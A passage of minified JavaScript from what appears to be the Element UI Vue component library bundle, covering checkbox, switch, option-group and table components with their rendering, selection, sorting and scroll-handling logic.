e=this.size||this._elFormItemSize||(this.$ELEMENT||{}).size;return this.isGroup?this._checkboxGroup.checkboxGroupSize||e:e}},props:{value:{},label:{},indeterminate:Boolean,disabled:Boolean,checked:Boolean,name:String,trueLabel:[String,Number],falseLabel:[String,Number],id:String,controls:String,border:Boolean,size:String},methods:{addToStore:function(){Array.isArray(this.model)&&-1===this.model.indexOf(this.label)?this.model.push(this.label):this.model=this.trueLabel||!0},handleChange:function(e){var t=this;if(!this.isLimitExceeded){var i=void 0;i=e.target.checked?void 0===this.trueLabel||this.trueLabel:void 0!==this.falseLabel&&this.falseLabel,this.$emit(\"change\",i,e),this.$nextTick(function(){t.isGroup&&t.dispatch(\"ElCheckboxGroup\",\"change\",[t._checkboxGroup.value])})}}},created:function(){this.checked&&this.addToStore()},mounted:function(){this.indeterminate&&this.$el.setAttribute(\"aria-controls\",this.controls)},watch:{value:function(e){this.dispatch(\"ElFormItem\",\"el.form.change\",e)}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"label\",{staticClass:\"el-checkbox\",class:[e.border&&e.checkboxSize?\"el-checkbox--\"+e.checkboxSize:\"\",{\"is-disabled\":e.isDisabled},{\"is-bordered\":e.border},{\"is-checked\":e.isChecked}],attrs:{role:\"checkbox\",\"aria-checked\":e.indeterminate?\"mixed\":e.isChecked,\"aria-disabled\":e.isDisabled,id:e.id}},[i(\"span\",{staticClass:\"el-checkbox__input\",class:{\"is-disabled\":e.isDisabled,\"is-checked\":e.isChecked,\"is-indeterminate\":e.indeterminate,\"is-focus\":e.focus},attrs:{\"aria-checked\":\"mixed\"}},[i(\"span\",{staticClass:\"el-checkbox__inner\"}),e.trueLabel||e.falseLabel?i(\"input\",{directives:[{name:\"model\",rawName:\"v-model\",value:e.model,expression:\"model\"}],staticClass:\"el-checkbox__original\",attrs:{type:\"checkbox\",\"aria-hidden\":\"true\",name:e.name,disabled:e.isDisabled,\"true-value\":e.trueLabel,\"false-value\":e.falseLabel},domProps:{checked:Array.isArray(e.model)?e._i(e.model,null)>-1:e._q(e.model,e.trueLabel)},on:{change:[function(t){var i=e.model,n=t.target,s=n.checked?e.trueLabel:e.falseLabel;if(Array.isArray(i)){var r=e._i(i,null);n.checked?r<0&&(e.model=i.concat([null])):r>-1&&(e.model=i.slice(0,r).concat(i.slice(r+1)))}else e.model=s},e.handleChange],focus:function(t){e.focus=!0},blur:function(t){e.focus=!1}}}):i(\"input\",{directives:[{name:\"model\",rawName:\"v-model\",value:e.model,expression:\"model\"}],staticClass:\"el-checkbox__original\",attrs:{type:\"checkbox\",\"aria-hidden\":\"true\",disabled:e.isDisabled,name:e.name},domProps:{value:e.label,checked:Array.isArray(e.model)?e._i(e.model,e.label)>-1:e.model},on:{change:[function(t){var i=e.model,n=t.target,s=!!n.checked;if(Array.isArray(i)){var r=e.label,o=e._i(i,r);n.checked?o<0&&(e.model=i.concat([r])):o>-1&&(e.model=i.slice(0,o).concat(i.slice(o+1)))}else e.model=s},e.handleChange],focus:function(t){e.focus=!0},blur:function(t){e.focus=!1}}})]),e.$slots.default||e.label?i(\"span\",{staticClass:\"el-checkbox__label\"},[e._t(\"default\"),e.$slots.default?e._e():[e._v(e._s(e.label))]],2):e._e()])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(190),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(191),s=i.n(n),r=i(192),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(1),s=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={name:\"ElCheckboxButton\",mixins:[s.default],inject:{elForm:{default:\"\"},elFormItem:{default:\"\"}},data:function(){return{selfModel:!1,focus:!1,isLimitExceeded:!1}},props:{value:{},label:{},disabled:Boolean,checked:Boolean,name:String,trueLabel:[String,Number],falseLabel:[String,Number]},computed:{model:{get:function(){return this._checkboxGroup?this.store:void 0!==this.value?this.value:this.selfModel},set:function(e){this._checkboxGroup?(this.isLimitExceeded=!1,void 0!==this._checkboxGroup.min&&e.length<this._checkboxGroup.min&&(this.isLimitExceeded=!0),void 0!==this._checkboxGroup.max&&e.length>this._checkboxGroup.max&&(this.isLimitExceeded=!0),!1===this.isLimitExceeded&&this.dispatch(\"ElCheckboxGroup\",\"input\",[e])):void 0!==this.value?this.$emit(\"input\",e):this.selfModel=e}},isChecked:function(){return\"[object Boolean]\"==={}.toString.call(this.model)?this.model:Array.isArray(this.model)?this.model.indexOf(this.label)>-1:null!==this.model&&void 0!==this.model?this.model===this.trueLabel:void 0},_checkboxGroup:function(){for(var e=this.$parent;e;){if(\"ElCheckboxGroup\"===e.$options.componentName)return e;e=e.$parent}return!1},store:function(){return this._checkboxGroup?this._checkboxGroup.value:this.value},activeStyle:function(){return{backgroundColor:this._checkboxGroup.fill||\"\",borderColor:this._checkboxGroup.fill||\"\",color:this._checkboxGroup.textColor||\"\",\"box-shadow\":\"-1px 0 0 0 \"+this._checkboxGroup.fill}},_elFormItemSize:function(){return(this.elFormItem||{}).elFormItemSize},size:function(){return this._checkboxGroup.checkboxGroupSize||this._elFormItemSize||(this.$ELEMENT||{}).size},isDisabled:function(){return this._checkboxGroup?this._checkboxGroup.disabled||this.disabled||(this.elForm||{}).disabled:this.disabled||(this.elForm||{}).disabled}},methods:{addToStore:function(){Array.isArray(this.model)&&-1===this.model.indexOf(this.label)?this.model.push(this.label):this.model=this.trueLabel||!0},handleChange:function(e){var t=this;if(!this.isLimitExceeded){var i=void 0;i=e.target.checked?void 0===this.trueLabel||this.trueLabel:void 0!==this.falseLabel&&this.falseLabel,this.$emit(\"change\",i,e),this.$nextTick(function(){t._checkboxGroup&&t.dispatch(\"ElCheckboxGroup\",\"change\",[t._checkboxGroup.value])})}}},created:function(){this.checked&&this.addToStore()}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"label\",{staticClass:\"el-checkbox-button\",class:[e.size?\"el-checkbox-button--\"+e.size:\"\",{\"is-disabled\":e.isDisabled},{\"is-checked\":e.isChecked},{\"is-focus\":e.focus}],attrs:{role:\"checkbox\",\"aria-checked\":e.isChecked,\"aria-disabled\":e.isDisabled}},[e.trueLabel||e.falseLabel?i(\"input\",{directives:[{name:\"model\",rawName:\"v-model\",value:e.model,expression:\"model\"}],staticClass:\"el-checkbox-button__original\",attrs:{type:\"checkbox\",name:e.name,disabled:e.isDisabled,\"true-value\":e.trueLabel,\"false-value\":e.falseLabel},domProps:{checked:Array.isArray(e.model)?e._i(e.model,null)>-1:e._q(e.model,e.trueLabel)},on:{change:[function(t){var i=e.model,n=t.target,s=n.checked?e.trueLabel:e.falseLabel;if(Array.isArray(i)){var r=e._i(i,null);n.checked?r<0&&(e.model=i.concat([null])):r>-1&&(e.model=i.slice(0,r).concat(i.slice(r+1)))}else e.model=s},e.handleChange],focus:function(t){e.focus=!0},blur:function(t){e.focus=!1}}}):i(\"input\",{directives:[{name:\"model\",rawName:\"v-model\",value:e.model,expression:\"model\"}],staticClass:\"el-checkbox-button__original\",attrs:{type:\"checkbox\",name:e.name,disabled:e.isDisabled},domProps:{value:e.label,checked:Array.isArray(e.model)?e._i(e.model,e.label)>-1:e.model},on:{change:[function(t){var i=e.model,n=t.target,s=!!n.checked;if(Array.isArray(i)){var r=e.label,o=e._i(i,r);n.checked?o<0&&(e.model=i.concat([r])):o>-1&&(e.model=i.slice(0,o).concat(i.slice(o+1)))}else e.model=s},e.handleChange],focus:function(t){e.focus=!0},blur:function(t){e.focus=!1}}}),e.$slots.default||e.label?i(\"span\",{staticClass:\"el-checkbox-button__inner\",style:e.isChecked?e.activeStyle:null},[e._t(\"default\",[e._v(e._s(e.label))])],2):e._e()])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(194),s=i.n(n),r=i(195),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(1),s=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={name:\"ElCheckboxGroup\",componentName:\"ElCheckboxGroup\",mixins:[s.default],inject:{elFormItem:{default:\"\"}},props:{value:{},disabled:Boolean,min:Number,max:Number,size:String,fill:String,textColor:String},computed:{_elFormItemSize:function(){return(this.elFormItem||{}).elFormItemSize},checkboxGroupSize:function(){return this.size||this._elFormItemSize||(this.$ELEMENT||{}).size}},watch:{value:function(e){this.dispatch(\"ElFormItem\",\"el.form.change\",[e])}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement;return(e._self._c||t)(\"div\",{staticClass:\"el-checkbox-group\",attrs:{role:\"group\",\"aria-label\":\"checkbox-group\"}},[e._t(\"default\")],2)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(197),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(198),s=i.n(n),r=i(199),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(30),r=n(s),o=i(9),a=n(o);t.default={name:\"ElSwitch\",mixins:[(0,r.default)(\"input\"),a.default],inject:{elForm:{default:\"\"}},props:{value:{type:[Boolean,String,Number],default:!1},disabled:{type:Boolean,default:!1},width:{type:Number,default:40},activeIconClass:{type:String,default:\"\"},inactiveIconClass:{type:String,default:\"\"},activeText:String,inactiveText:String,activeColor:{type:String,default:\"\"},inactiveColor:{type:String,default:\"\"},activeValue:{type:[Boolean,String,Number],default:!0},inactiveValue:{type:[Boolean,String,Number],default:!1},name:{type:String,default:\"\"},id:String},data:function(){return{coreWidth:this.width}},created:function(){~[this.activeValue,this.inactiveValue].indexOf(this.value)||this.$emit(\"input\",this.inactiveValue)},computed:{checked:function(){return this.value===this.activeValue},switchDisabled:function(){return this.disabled||(this.elForm||{}).disabled}},watch:{checked:function(){this.$refs.input.checked=this.checked,(this.activeColor||this.inactiveColor)&&this.setBackgroundColor()}},methods:{handleChange:function(e){var t=this;this.$emit(\"input\",this.checked?this.inactiveValue:this.activeValue),this.$emit(\"change\",this.checked?this.inactiveValue:this.activeValue),this.$nextTick(function(){t.$refs.input.checked=t.checked})},setBackgroundColor:function(){var e=this.checked?this.activeColor:this.inactiveColor;this.$refs.core.style.borderColor=e,this.$refs.core.style.backgroundColor=e},switchValue:function(){!this.switchDisabled&&this.handleChange()},getMigratingConfig:function(){return{props:{\"on-color\":\"on-color is renamed to active-color.\",\"off-color\":\"off-color is renamed to inactive-color.\",\"on-text\":\"on-text is renamed to active-text.\",\"off-text\":\"off-text is renamed to inactive-text.\",\"on-value\":\"on-value is renamed to active-value.\",\"off-value\":\"off-value is renamed to inactive-value.\",\"on-icon-class\":\"on-icon-class is renamed to active-icon-class.\",\"off-icon-class\":\"off-icon-class is renamed to inactive-icon-class.\"}}}},mounted:function(){this.coreWidth=this.width||40,(this.activeColor||this.inactiveColor)&&this.setBackgroundColor(),this.$refs.input.checked=this.checked}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{staticClass:\"el-switch\",class:{\"is-disabled\":e.switchDisabled,\"is-checked\":e.checked},attrs:{role:\"switch\",\"aria-checked\":e.checked,\"aria-disabled\":e.switchDisabled},on:{click:e.switchValue}},[i(\"input\",{ref:\"input\",staticClass:\"el-switch__input\",attrs:{type:\"checkbox\",id:e.id,name:e.name,\"true-value\":e.activeValue,\"false-value\":e.inactiveValue,disabled:e.switchDisabled},on:{change:e.handleChange,keydown:function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"enter\",13,t.key))return null;e.switchValue(t)}}}),e.inactiveIconClass||e.inactiveText?i(\"span\",{class:[\"el-switch__label\",\"el-switch__label--left\",e.checked?\"\":\"is-active\"]},[e.inactiveIconClass?i(\"i\",{class:[e.inactiveIconClass]}):e._e(),!e.inactiveIconClass&&e.inactiveText?i(\"span\",{attrs:{\"aria-hidden\":e.checked}},[e._v(e._s(e.inactiveText))]):e._e()]):e._e(),i(\"span\",{ref:\"core\",staticClass:\"el-switch__core\",style:{width:e.coreWidth+\"px\"}}),e.activeIconClass||e.activeText?i(\"span\",{class:[\"el-switch__label\",\"el-switch__label--right\",e.checked?\"is-active\":\"\"]},[e.activeIconClass?i(\"i\",{class:[e.activeIconClass]}):e._e(),!e.activeIconClass&&e.activeText?i(\"span\",{attrs:{\"aria-hidden\":!e.checked}},[e._v(e._s(e.activeText))]):e._e()]):e._e()])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(201),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(202),s=i.n(n),r=i(203),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(1),s=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={mixins:[s.default],name:\"ElOptionGroup\",componentName:\"ElOptionGroup\",props:{label:String,disabled:{type:Boolean,default:!1}},data:function(){return{visible:!0}},watch:{disabled:function(e){this.broadcast(\"ElOption\",\"handleGroupDisabled\",e)}},methods:{queryChange:function(){this.visible=this.$children&&Array.isArray(this.$children)&&this.$children.some(function(e){return!0===e.visible})}},created:function(){this.$on(\"queryChange\",this.queryChange)},mounted:function(){this.disabled&&this.broadcast(\"ElOption\",\"handleGroupDisabled\",this.disabled)}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"ul\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.visible,expression:\"visible\"}],staticClass:\"el-select-group__wrap\"},[i(\"li\",{staticClass:\"el-select-group__title\"},[e._v(e._s(e.label))]),i(\"li\",[i(\"ul\",{staticClass:\"el-select-group\"},[e._t(\"default\")],2)])])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(205),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(206),s=i.n(n),r=i(222),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(15),r=n(s),o=i(18),a=n(o),l=i(27),u=i(207),c=n(u),d=i(6),h=n(d),f=i(9),p=n(f),m=i(213),v=n(m),g=i(214),b=n(g),y=i(215),_=n(y),C=i(216),x=n(C),w=i(221),k=n(w),S=1;t.default={name:\"ElTable\",mixins:[h.default,p.default],directives:{Mousewheel:c.default},props:{data:{type:Array,default:function(){return[]}},size:String,width:[String,Number],height:[String,Number],maxHeight:[String,Number],fit:{type:Boolean,default:!0},stripe:Boolean,border:Boolean,rowKey:[String,Function],context:{},showHeader:{type:Boolean,default:!0},showSummary:Boolean,sumText:String,summaryMethod:Function,rowClassName:[String,Function],rowStyle:[Object,Function],cellClassName:[String,Function],cellStyle:[Object,Function],headerRowClassName:[String,Function],headerRowStyle:[Object,Function],headerCellClassName:[String,Function],headerCellStyle:[Object,Function],highlightCurrentRow:Boolean,currentRowKey:[String,Number],emptyText:String,expandRowKeys:Array,defaultExpandAll:Boolean,defaultSort:Object,tooltipEffect:String,spanMethod:Function,selectOnIndeterminate:{type:Boolean,default:!0}},components:{TableHeader:x.default,TableFooter:k.default,TableBody:_.default,ElCheckbox:r.default},methods:{getMigratingConfig:function(){return{events:{expand:\"expand is renamed to expand-change\"}}},setCurrentRow:function(e){this.store.commit(\"setCurrentRow\",e)},toggleRowSelection:function(e,t){this.store.toggleRowSelection(e,t),this.store.updateAllSelected()},toggleRowExpansion:function(e,t){this.store.toggleRowExpansion(e,t)},clearSelection:function(){this.store.clearSelection()},clearFilter:function(e){this.store.clearFilter(e)},clearSort:function(){this.store.clearSort()},handleMouseLeave:function(){this.store.commit(\"setHoverRow\",null),this.hoverState&&(this.hoverState=null)},updateScrollY:function(){this.layout.updateScrollY(),this.layout.updateColumnsWidth()},handleFixedMousewheel:function(e,t){var i=this.bodyWrapper;if(Math.abs(t.spinY)>0){var n=i.scrollTop;t.pixelY<0&&0!==n&&e.preventDefault(),t.pixelY>0&&i.scrollHeight-i.clientHeight>n&&e.preventDefault(),i.scrollTop+=Math.ceil(t.pixelY/5)}else i.scrollLeft+=Math.ceil(t.pixelX/5)},handleHeaderFooterMousewheel:function(e,t){var i=t.pixelX,n=t.pixelY;Math.abs(i)>=Math.abs(n)&&(e.preventDefault(),this.bodyWrapper.scrollLeft+=t.pixelX/5)},bindEvents:function(){var e=this.$refs,t=e.headerWrapper,i=e.footerWrapper,n=this.$refs,s=this;this.bodyWrapper.addEventListener(\"scroll\",function(){t&&(t.scrollLeft=this.scrollLeft),i&&(i.scrollLeft=this.scrollLeft),n.fixedBodyWrapper&&(n.fixedBodyWrapper.scrollTop=this.scrollTop),n.rightFixedBodyWrapper&&(n.rightFixedBodyWrapper.scrollTop=this.scrollTop);var e=this.scrollWidth-this.offsetWidth-1,r=this.scrollLeft;s.scrollPosition=r>=e?\"right\":0===r?\"left\":\"middle\"}),this.fit&&(0,l.addResizeListener)(this.$el,this.resizeListener)},resizeListener:function(){if(this.$ready){var e=!1,t=this.$el,i=this.resizeState,n=i.width,s=i.height,r=t.offsetWidth;n!==r&&(e=!0);var o=t.offsetHeight;(this.height||this.shouldUpdateHeight)&&s!==o&&(e=!0),e&&(this.resizeState.width=r,this.resizeState.height=o,this.doLayout())}},doLayout:function(){this.layout.updateColumnsWidth(),this.shouldUpdateHeight&&this.layout.updateElsHeight()},sort:function(e,t){this.store.commit(\"sort\",{prop:e,order:t})},toggleAllSelection:function(){this.store.commit(\"toggleAllSelection\")}},created:function(){var e=this;this.tableId=\"el-table_\"+S++,this.debouncedUpdateLayout=(0,a.default)(50,function(){return e.doLayout()})},computed:{tableSize:function(){return this.size||(this.$ELEMENT||{}).size},bodyWrapper:function(){return this.$refs.bodyWrapper},shouldUpdateHeight:function(){return this.height||this.maxHeight||this.fixedColumns.length>0||this.rightFixedColumns.length>0},selection:function(){return this.store.states.selection},columns:function(){return this.store.states.columns},tableData:function(){return this.store.states.data},fixedColumns:function(){return this.store.states.fixedColumns},rightFixedColumns:function(){return this.store.states.rightFixedColumns},bodyWidth:function(){var e=this.layout,t=e.bodyWidth,i=e.scrollY,n=e.gutterWidth;return t?t-(i?n:0)+\"px\":\"\"},bodyHeight:function(){return this.height?{height:this.layout.bodyHeight?this.layout.bodyHeight+\"px\":\"\"}:this.maxHeight?{\"max-height\":(this.showHeader?this.maxHeight-this.layout.headerHeight-this.layout.footerHeight:this.maxHeight-this.layout.footerHeight)+\"px\"}:{}},fixedBodyHeight:function(){if(this.height)return{height:this.layout.fixedBodyHeight?this.layout.fixedBodyHeight+\"px\":\"\"};if(this.maxHeight){var e=this.layout.scrollX?this.maxHeight-this.layout.gutterWidth:this.maxHeight;return this.showHeader&&(e-=this.layout.headerHeight),e-=this.layout.footerHeight,{\"max-height\":e+\"px\"}}return{}},fixedHeight:function(){return this.maxHeight?this.showSummary?{bottom:0}:{bottom:this.layout.scrollX&&this.data.length?this.layout.gutterWidth+\"px\":\"\"}:this.showSummary?{height:this.layout.tableHeight?this.layout.tableHeight+\"px\":\"\"}:{height:this.layout.viewportHeight?this.layout.viewportHeight+\"px\":\"\"}}},watch:{height:{immediate:!0,handler:function(e){this.layout.setHeight(e)}},maxHeight:{immediate:!0,handler:function(e){this.layout.setMaxHeight(e)}},currentRowKey:function(e){this.store.setCurrentRowKey(e)},data:{immediate:!0,handler:function(e){var t=this;this.store.commit(\"setData\",e),this.$ready&&this.$nextTick(function(){t.doLayout()})}},expandRowKeys:{immediate:!0,handler:function(e){e&&this.store.setExpandRowKeys(e)}}},destroyed:function(){this.resizeListener&&(0,l.removeResizeListener)(this.$el,this.resizeListener)},mounted:function(){var e=this;this.bindEvents(),this.store.updateColumns(),this.doLayout(),this.resizeState={width:this.$el.offsetWidth,height:this.$el.offsetHeight},this.store.states.columns.forEach(function(t){t.filteredValue&&t.filteredValue.length&&e.store.commit(\"filterChange\",{column:t,values:t.filteredValue,silent:!0})}),this.$ready=!0},data:function(){var e=new v.default(this,{rowKey:this.rowKey,defaultExpandAll:this.defaultExpandAll,selectOnIndeterminate:this.selectOnIndeterminate});return{layout:new b.default({store:e,table:this,fit:this.fit,showHeader:this.showHeader}),store:e,isHidden:!1,renderExpanded:null,resizeProxyVisible:!1,resizeState:{width:null,height:null},isGroup:!1,scrollPosition:\"left\"}}}},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(208),s=function(e){return e&&e.__esModule?e:{default:e}}(n),r=\"undefined\"!=typeof navigator&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")>-1,o=function(e,t){e&&e.addEventListener&&e.addEventListener(r?\"DOMMouseScroll\":\"mousewheel\",function(e){var i=(0,s.default)(e);t&&t.apply(this,[e,i])})};t.default={bind:function(e,t){o(e,t.value)}}},function(e,t,i){e.exports=i(209)},function(e,t,i){\"use strict\";function n(e){var t=0,i=0,n=0,s=0;return\"detail\"in e&&(i=e.detail),\"wheelDelta\"in e&&(i=-e.wheelDelta/120),\"wheelDeltaY\"in e&&(i=-e.wheelDeltaY/120),\"wheelDeltaX\"in e&&(t=-e.wheelDeltaX/120),\"axis\"in e&&e.axis===e.HORIZONTAL_AXIS&&(t=i,i=0),n=t*o,s=i*o,\"deltaY\"in e&&(s=e.deltaY),\"deltaX\"in e&&(n=e.deltaX),(n||s)&&e.deltaMode&&(1==e.deltaMode?(n*=a,s*=a):(n*=l,s*=l)),n&&!t&&(t=n<1?-1:1),s&&!i&&(i=s<1?-1:1),{spinX:t,spinY:i,pixelX:n,pixelY:s}}var s=i(210),r=i(211),o=10,a=40,l=800;n.getEventType=function(){return s.firefox()?\"DOMMouseScroll\":r(\"wheel\")?\"wheel\":\"mousewheel\"},e.exports=n},function(e,t){function i(){if(!b){b=!0;var e=navigator.userAgent,t=/(?:MSIE.(\\d+\\.\\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\\d+\\.\\d+))|(?:Opera(?:.+Version.|.)(\\d+\\.\\d+))|(?:AppleWebKit.(\\d+(?:\\.\\d+)?))|(?:Trident\\/\\d+\\.\\d+.*rv:(\\d+\\.\\d+))/.exec(e),i=/(Mac OS X)|(Windows)|(Linux)/.exec(e);if(p=/\\b(iPhone|iP[ao]d)/.exec(e),m=/\\b(iP[ao]d)/.exec(e),h=/Android/i.exec(e),v=/FBAN\\/\\w+;/i.exec(e),g=/Mobile/i.exec(e),f=!!/Win64/.exec(e),t){n=t[1]?parseFloat(t[1]):t[5]?parseFloat(t[5]):NaN,n&&document&&document.documentMode&&(n=document.documentMode);var y=/(?:Trident\\/(\\d+.\\d+))/.exec(e);l=y?parseFloat(y[1])+4:n,s=t[2]?parseFloat(t[2]):NaN,r=t[3]?parseFloat(t[3]):NaN,o=t[4]?parseFloat(t[4]):NaN,o?(t=/(?:Chrome\\/(\\d+\\.\\d+))/.exec(e),a=t&&t[1]?parseFloat(t[1]):NaN):a=NaN}else n=s=r=a=o=NaN;if(i){if(i[1]){var _=/(?:Mac OS X (\\d+(?:[._]\\d+)?))/.exec(e);u=!_||parseFloat(_[1].replace(\"_\",\".\"))}else u=!1;c=!!i[2],d=!!i[3]}else u=c=d=!1}}var n,s,r,o,a,l,u,c,d,h,f,p,m,v,g,b=!1,y={ie:function(){return i()||n},ieCompatibilityMode:function(){return i()||l>n},ie64:function(){return y.ie()&&f},firefox:function(){return i()||s},opera:function(){return i()||r},webkit:function(){return i()||o},safari:function(){return y.webkit()},chrome:function(){return i()||a},windows:function(){return i()||c},osx:function(){return i()||u},linux:function(){return i()||d},iphone:function(){return i()||p},mobile:function(){return i()||p||m||h||g},nativeApp:function(){return i()||v},android:function(){return i()||h},ipad:function(){return i()||m}};e.exports=y},function(e,t,i){\"use strict\";function n(e,t){if(!r.canUseDOM||t&&!(\"addEventListener\"in document))return!1;var i=\"on\"+e,n=i in document;if(!n){var o=document.createElement(\"div\");o.setAttribute(i,\"return;\"),n=\"function\"==typeof o[i]}return!n&&s&&\"wheel\"===e&&(n=document.implementation.hasFeature(\"Events.wheel\",\"3.0\")),n}var s,r=i(212);r.canUseDOM&&(s=document.implementation&&document.implementation.hasFeature&&!0!==document.implementation.hasFeature(\"\",\"\")),e.exports=n},function(e,t,i){\"use strict\";var n=!(\"undefined\"==typeof window||!window.document||!window.document.createElement),s={canUseDOM:n,canUseWorkers:\"undefined\"!=typeof Worker,canUseEventListeners:n&&!(!window.addEventListener&&!window.attachEvent),canUseViewport:n&&!!window.screen,isInWorker:!n};e.exports=s},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(2),r=n(s),o=i(18),a=n(o),l=i(10),u=n(l),c=i(5),d=i(74),h=function(e,t){var i=t.sortingColumn;return i&&\"string\"!=typeof i.sortable?(0,d.orderBy)(e,t.sortProp,t.sortOrder,i.sortMethod,i.sortBy):e},f=function(e,t){var i={};return(e||[]).forEach(function(e,n){i[(0,d.getRowIdentity)(e,t)]={row:e,index:n}}),i},p=function(e,t,i){var n=!1,s=e.selection,r=s.indexOf(t);return void 0===i?-1===r?(s.push(t),n=!0):(s.splice(r,1),n=!0):i&&-1===r?(s.push(t),n=!0):!i&&r>-1&&(s.splice(r,1),n=!0),n},m=function(e,t,i){var n=!1,s=e.expandRows;if(void 0!==i){var r=s.indexOf(t);i?-1===r&&(s.push(t),n=!0):-1!==r&&(s.splice(r,1),n=!0)}else{var o=s.indexOf(t);-1===o?(s.push(t),n=!0):(s.splice(o,1),n=!0)}return n},v=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!e)throw new Error(\"Table is required.\");this.table=e,this.states={rowKey:null,_columns:[],originColumns:[],columns:[],fixedColumns:[],rightFixedColumns:[],leafColumns:[],fixedLeafColumns:[],rightFixedLeafColumns:[],leafColumnsLength:0,fixedLeafColumnsLength:0,rightFixedLeafColumnsLength:0,isComplex:!1,filteredData:null,data:null,sortingColumn:null,sortProp:null,sortOrder:null,isAllSelected:!1,selection:[],reserveSelection:!1,selectable:null,currentRow:null,hoverRow:null,filters:{},expandRows:[],defaultExpandAll:!1,selectOnIndeterminate:!1};for(var i in t)t.hasOwnProperty(i)&&this.states.hasOwnProperty(i)&&(this.states[i]=t[i])};v.prototype.mutations={setData:function(e,t){var i=this,n=e._data!==t;e._data=t,Object.keys(e.filters).forEach(function(n){var s=e.filters[n];if(s&&0!==s.length){var r=(0,d.getColumnById)(i.states,n);r&&r.filterMethod&&(t=t.filter(function(e){return s.some(function(t){return r.filterMethod.call(null,t,e,r)})}))}}),e.filteredData=t,e.data=h(t||[],e),this.updateCurrentRow();var s=e.rowKey;if(e.reserveSelection?s?function(){var t=e.selection,n=f(t,s);e.data.forEach(function(e){var i=(0,d.getRowIdentity)(e,s),r=n[i];r&&(t[r.index]=e)}),i.updateAllSelected()}():console.warn(\"WARN: rowKey is required when reserve-selection is enabled.\"):(n?this.clearSelection():this.cleanSelection(),this.updateAllSelected()),e.defaultExpandAll)this.states.expandRows=(e.data||[]).slice(0);else if(s){for(var o=f(this.states.expandRows,s),a=[],l=e.data,u=Array.isArray(l),c=0,l=u?l:l[Symbol.iterator]();;){var p;if(u){if(c>=l.length)break;p=l[c++]}else{if(c=l.next(),c.done)break;p=c.value}var m=p,v=(0,d.getRowIdentity)(m,s);o[v]&&a.push(m)}this.states.expandRows=a}else this.states.expandRows=[];r.default.nextTick(function(){return i.table.updateScrollY()})},changeSortCondition:function(e,t){var i=this;e.data=h(e.filteredData||e._data||[],e);var n=this.table,s=n.$el,o=n.highlightCurrentRow;if(s&&o){var a=e.data,l=s.querySelector(\"tbody\").children,u=[].filter.call(l,function(e){return(0,c.hasClass)(e,\"el-table__row\")}),d=u[a.indexOf(e.currentRow)];[].forEach.call(u,function(e){return(0,c.removeClass)(e,\"current-row\")}),(0,c.addClass)(d,\"current-row\")}t&&t.silent||this.table.$emit(\"sort-change\",{column:this.states.sortingColumn,prop:this.states.sortProp,order:this.states.sortOrder}),r.default.nextTick(function(){return i.table.updateScrollY()})},sort:function(e,t){var i=this,n=t.prop,s=t.order;n&&(e.sortProp=n,e.sortOrder=s||\"ascending\",r.default.nextTick(function(){for(var t=0,n=e.columns.length;t<n;t++){var s=e.columns[t];if(s.property===e.sortProp){s.order=e.sortOrder,e.sortingColumn=s;break}}e.sortingColumn&&i.commit(\"changeSortCondition\")}))},filterChange:function(e,t){var i=this,n=t.column,s=t.values,o=t.silent,a=t.multi;s&&!Array.isArray(s)&&(s=[s]);var l={};if(a)n.forEach(function(t){e.filters[t.id]=s,l[t.columnKey||t.id]=s});else{n.property&&(e.filters[n.id]=s,l[n.columnKey||n.id]=s)}var u=e._data;Object.keys(e.filters).forEach(function(t){var n=e.filters[t];if(n&&0!==n.length){var 